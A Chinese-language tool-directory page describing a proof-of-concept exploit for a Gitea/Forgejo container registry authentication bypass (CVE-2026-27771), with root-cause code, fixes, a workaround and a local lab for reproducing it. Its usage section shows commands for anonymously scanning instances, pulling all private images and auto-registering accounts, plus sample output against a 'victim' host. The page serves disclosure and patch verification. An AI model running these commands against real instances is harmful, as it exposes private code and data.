Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-27771 — CVE-2026-27771 - Gitea/Forgejo 容器注册表认证绕过利用 PoC - 无需认证即可拉取私有容器镜像 | Kitploit
工具/GitHubGitHub/portbuster1337/cve-2026-27771
身份验证与授权容器安全漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队
GitHubportbuster1337/cve-2026-27771

CVE-2026-27771

CVE-2026-27771 - Gitea/Forgejo 容器注册表认证绕过利用 PoC - 无需认证即可拉取私有容器镜像

查看仓库
18633个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-27771 — Gitea 容器注册表认证绕过

CVSS: 暂无(未公布)
影响范围: Gitea < 1.26.2(所有带 OCI 容器注册表的版本)
同样影响: Forgejo(由 NoScope 确认)
发现者: NoScope
修复版本: Gitea v1.26.2(2026年5月20日)

免责声明: 此概念验证仅用于教育和授权的安全研究目的。未经授权访问计算机系统是非法的。作者不对任何滥用此代码的行为负责。请仅对您拥有或已获得明确许可的系统进行测试。

概述

未经身份验证的远程攻击者可以从 Gitea 实例中拉取私有容器镜像。OCI 分发规范 API 端点(/v2/<name>/manifests/<ref>、/v2/<name>/blobs/<digest>)会向幽灵/匿名用户(UserID: -1)提供服务,而不会检查容器软件包所有者的可见性(私有/受限/公开)。

NoScope 在 30 多个国家发现了约 31,750 个以上的公开实例。该漏洞潜伏了约 4 年未被发现。

根本原因

漏洞位于 ReqContainerAccess 中间件中(routers/api/packages/container/container.go):

root@kitploit:~
// v1.25.4 — 存在漏洞
func ReqContainerAccess(ctx *context.Context) {
    if ctx.Doer == nil || (setting.Service.RequireSignInViewStrict && ctx.Doer.IsGhost()) {
        apiUnauthorizedError(ctx)
    }
}

该检查仅判断:

  1. ctx.Doer 是否为 nil?(完全没有令牌的未认证请求)
  2. RequireSignInViewStrict 是否启用且用户是否为幽灵用户?

它没有检查软件包所有者的可见性设置(VisibleTypePublic、VisibleTypeLimited、VisibleTypePrivate)。具有空作用域的幽灵用户(UserID: -1)可以直接通过并访问任何容器软件包。

当 RequireSignInViewStrict 为 false 时,/v2/token 端点(Authenticate 函数)会在无凭据的情况下授予匿名令牌。

修复(PR #37290 + PR #37610)

1.26.2 版本中修复了两处:

  1. PR #37290 — 在 apiUnauthorizedError 中有条件地发送 Basic realm 头——避免在公开实例上发送 Basic realm 以防止混淆 Docker 客户端,并在认证质询中增加按所有者可见性检查。

  2. PR #37610 — 添加软件包可见性标签和 Composer 源权限检查——为软件包增加了底层权限模型。没有这些标签,在权限检查路径中就无法区分私有/内部/公共软件包。

临时解决方案

root@kitploit:~
[service]
REQUIRE_SIGNIN_VIEW = true

这将阻止所有匿名访问(包括公共仓库),从而关闭漏洞利用路径。然而,底层权限模型仍然存在缺陷——任何经过身份验证的用户仍然可以访问所有软件包。请升级到 1.26.2+ 以获得真正的修复。

漏洞利用 PoC

前提条件

  • Python 3.8+
  • 目标 Gitea 实例版本 < 1.26.2,且已启用 OCI 容器注册表(v1.17.0+)

用法

root@kitploit:~
python3 CVE-2026-27771-exploit.py scan <url>                       # 发现仓库/标签
python3 CVE-2026-27771-exploit.py scan <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py pull <url>                        # 拉取所有镜像
python3 CVE-2026-27771-exploit.py pull <url> --repo owner/image     # 拉取特定仓库
python3 CVE-2026-27771-exploit.py pull <url> --dry-run              # 仅显示将要拉取的内容
python3 CVE-2026-27771-exploit.py pull <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py register <url> --username u --password p --email [email protected]

示例

root@kitploit:~
# 扫描存在漏洞的实例
python3 CVE-2026-27771-exploit.py scan https://gitea.example.com

# 拉取所有私有容器镜像(匿名)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com

# 使用个人访问令牌拉取(用于 REQUIRE_SIGNIN_VIEW 实例)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com \
  --token 3afb22d5cf0295b5af686dcbbc765600d6dc5dfd --username myuser

# 在无验证码的实例上自动注册
python3 CVE-2026-27771-exploit.py register https://gitea.example.com \
  --username myuser --password mypass --email [email protected]

漏洞利用做了什么

  1. 预检: 检查版本,/v2/ 端点,检测注册可用性,获取匿名令牌或将 PAT 交换为 JWT
  2. 枚举: 通过 /v2/_catalog 列出所有容器仓库(由于可见性缺陷,返回所有仓库——包括公开和私有)
  3. 拉取: 对于每个仓库,列出标签,获取 OCI 清单,解析多架构镜像,下载所有 blob 层
  4. 提取: 自动将 gzip 压缩的 tar 层提取到 pulled_<repo>/extracted/ 目录中

令牌处理

  • 匿名: 如果 REQUIRE_SIGNIN_VIEW=false,则不提供凭据获取幽灵令牌
  • PAT(SHA1): 如果 --token 是 40 字符的十六进制字符串,则自动通过 Basic auth 交换为 OCI JWT
  • JWT: 如果 --token 包含点,则直接作为 Bearer 令牌使用

示例输出

root@kitploit:~
[*] Pre-flight: https://victim.gitea.com
[+] Version (API): 1.25.4
[+] /v2/ -> 401
[+] Anonymous token granted (UserID: -1, Scope: '')
[+] /v2/_catalog -> 200 (3 repos)
[+] Vulnerable: True (require_signin=False)

[*] Container repositories: 3
    acme/production-app: tags=['latest', 'v2.1.0']
    acme/internal-db: tags=['latest', 'v1.3.0']
    team-xyz/secret-ml-model: tags=['v0.9.2']

  [acme/production-app]
  Tags: ['latest']
    └─ manifest latest: multi-arch, digest=sha256:a1b2c3..., 12 blobs
      [1/12] sha256_a1b2c3... (28.4 MB)
      ...
      manifests saved
      extracted 39862 files to pulled_acme_production-app/extracted

复现

搭建测试环境

root@kitploit:~
# 1. 使用 Docker 部署 Gitea 1.25.x(存在漏洞的版本)
docker run -d --name gitea-vuln -p 3000:3000 \
  -e GITEA__service__REQUIRE_SIGNIN_VIEW=false \
  gitea/gitea:1.25.4

# 2. 创建用户并推送私有 Docker 镜像
docker login localhost:3000 -u testuser -p testpass
docker pull alpine:latest
docker tag alpine:latest localhost:3000/testuser/secret-app:latest
docker push localhost:3000/testuser/secret-app:latest

# 3. 运行漏洞利用(无需凭据)
python3 CVE-2026-27771-exploit.py pull http://localhost:3000

# 漏洞利用将找到 testuser/secret-app 并下载所有层。
# 文件将位于 pulled_testuser_secret-app/extracted/

验证修复

root@kitploit:~
# 升级到已修补版本
docker stop gitea-vuln
docker run -d --name gitea-fixed -p 3000:3000 \
  gitea/gitea:1.26.2

# 匿名令牌应被拒绝(401)
python3 CVE-2026-27771-exploit.py scan http://localhost:3000
# 预期输出:"Version >= 1.26.2 (patched)"

参考

  • https://noscope.com/blog/gitea-instances-exposing-private-container
  • https://blog.gitea.com/release-of-1.26.2/
  • https://github.com/go-gitea/gitea/pull/37290
  • https://github.com/go-gitea/gitea/pull/37610
  • https://github.com/go-gitea/gitea/security/advisories
下载工具